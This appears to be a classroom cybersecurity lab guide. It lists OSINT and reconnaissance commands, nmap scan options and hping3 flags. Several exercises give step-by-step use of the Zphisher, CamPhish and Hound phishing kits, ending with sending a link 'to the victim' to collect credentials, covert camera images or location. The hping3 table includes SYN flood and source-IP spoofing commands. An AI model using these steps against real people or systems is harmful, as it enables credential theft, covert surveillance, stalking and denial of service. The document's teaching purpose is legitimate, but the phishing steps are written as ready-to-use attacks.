CYBER SECURITY PRACTICAL GUIDE

Sr.No.	Aims
1	Collect publicly available information about the target using OSINT tools (OSINTframework, IDCrawl, Spokeo, OpenCorporates, VirusTotal, Ahmia, DNSDumpster, Whois) to understand the target's digital footprint and potential exposure. 1. wappalyzer extension 2. OSINTframework.com 3. idcrawl.com 4. spokeo.com 5. opencorporates.com 6. virustotal.com 7. ahmia.fi 8. dnsdumpster.com 9. who.is
2	Perform passive reconnaissance on the target web application/server using tools like Whois, nslookup, dig, host, dnsrecon, dnsenum, theHarvester, and DNSDumpster to collect domain and infrastructure details without active interaction. 1. whois target_website.com 2. nslookup target_website.com 3. dig target_website.com 4. host target_website.com 5. dnsrecon -d target_website.com 6. dnsenum target_website.com 7. theHarvester -d target_website.com -b all
3	Conduct active reconnaissance on the target web application/server using tools such as dirb, ping, traceroute, netdiscover, sublist3r, amass, wget, and curl to identify directories, subdomains, network structure, and live hosts. 1. dirb target_website.com 2. ping target_website.com 3. traceroute target_website.com 4. sublist3r -d target_website.com 5. amass -d target_website.com 6. wget link_of_file_to_download.pdf

4	Use advanced Google dorking search operators to identify publicly exposed webcams, passwords, sensitive files, internal documents, camera images, and mail logs related to the target's domain or infrastructure. 1. Refer to google dorking txt file in classroom
5	Execute a detailed Nmap scan to perform host discovery, detect open ports, determine operating systems, identify running services, and assess potential vulnerabilities on the target IP. 1. refer NMAP commands table-1 below
6	Demonstrate credential harvesting through social engineering by creating phishing pages using Zphisher, showing how attackers can exploit user trust on social media platforms. 1. git clone https://github.com/htr-tech/zphisher.git 2. cd Zphisher 3. chmod 777 zphisher.sh 4. ./zphisher.sh 5. Select social media for fake login page 6. (select option for localhost or CloudFlare) 7. Copy the malicious link. Send to the victim and wait for the credentials files.
7	Simulate unauthorized access to a target device's camera using CamPhish through social engineering techniques to understand risks associated with malicious camera exploitation. 1. git clone https://github.com/techchipnet/CamPhish.git 2. cd Camphish 3. chmod 777 camphish.sh 4. ./camphish.sh 5. (select option 2 cloudflared) 6. (select phishing type) online meeting 7. copy the malicious link, send to the victim, and wait for cam files.
8	Identify and track the precise geographical location of a target device or individual using the Hound tool to demonstrate location-based information gathering. 1. git clone https://github.com/techchipnet/hound.git 2. cd hound 3. chmod 777 hound.sh 4. ./hound.sh 5. cloudflared tunnel → Y 6. copy the link and send to victim 7. wait for response

9	Simulate Denial of Service (DoS) and Distributed Denial of Service (DDoS) attacks against a controlled target using hping3 to analyze the impact of traffic-based disruption attacks. 1. refer hping3 commands table-2 below

Sr. No.	Command and options	Description
1	nmap <target-ip> Eg. nmap 192.168.1.1	Check if host is active and scan 1000 ports
2	nmap x.x.x.* Eg. nmap 192.168.1.*	Search for number of hosts in network.
2	nmap -v <target> Eg. nmap -v 192.168.1.1	Verbose scan, provides more details.
3	nmap -vv <target> Eg. nmap -vv 192.168.1.1	Very verbose scan, even more details.
4	nmap -Pn <target> Eg. nmap -Pn 192.168.1.1	Treat host as online, skip host discovery.
5	nmap --traceroute <target> Eg. nmap –traceroute 192.168.1.1	Perform traceroute after the scan.
6	nmap -O <target> Eg. nmap -O 192.168.1.1	OS detection scan.
7	nmap -p <port> <target> Eg. nmap -p 80 192.168.1.1	Scan specific port(s).
8	nmap -p- <target> Eg. nmap -p- 192.168.1.1	Scan all ports (0-65535).
9	nmap -p 80,443 <target> Eg. nmap -p 80,443	Scan specific ports (e.g., 80, 443).
10	nmap -A <target> Eg. nmap -A 192.168.1.1	Comprehensive scan (OS detection, version detection, script scanning, and traceroute).
11	nmap -sV <target> Eg. nmap -sV 192.168.1.1	Version detection scan.

Table-1: Nmap basic commands guide

Command / Option	Purpose	Example
-1	ICMP mode (like ping)	hping3 -1 192.168.1.1
-2	+UDP mode	hping3 -2 -p 53 192.168.1.1
-S	TCP SYN flag (scan)	hping3 -S -p 80 192.168.1.1
-A	TCP ACK flag (firewall testing)	hping3 -A -p 80 192.168.1.1
-F	TCP FIN flag	hping3 -F -p 80 192.168.1.1
-p <port>	Destination port	hping3 -S -p 443 192.168.1.1
-s <port>	Source port	hping3 -S -s 12345 -p 80 192.168.1.1
-a <IP>	Spoof source IP	hping3 -S -a 10.10.10.10 -p 80 192.168.1.1
-i u1000	Send packet every 1000µs (1ms)	hping3 -S -p 80 -i u1000 192.168.1.1
--flood	Flood mode (DoS simulation)	hping3 -S --flood -p 80 192.168.1.100
-V	Verbose output	hping3 -S -V -p 80 192.168.1.1

Table-2: hping3 commands guide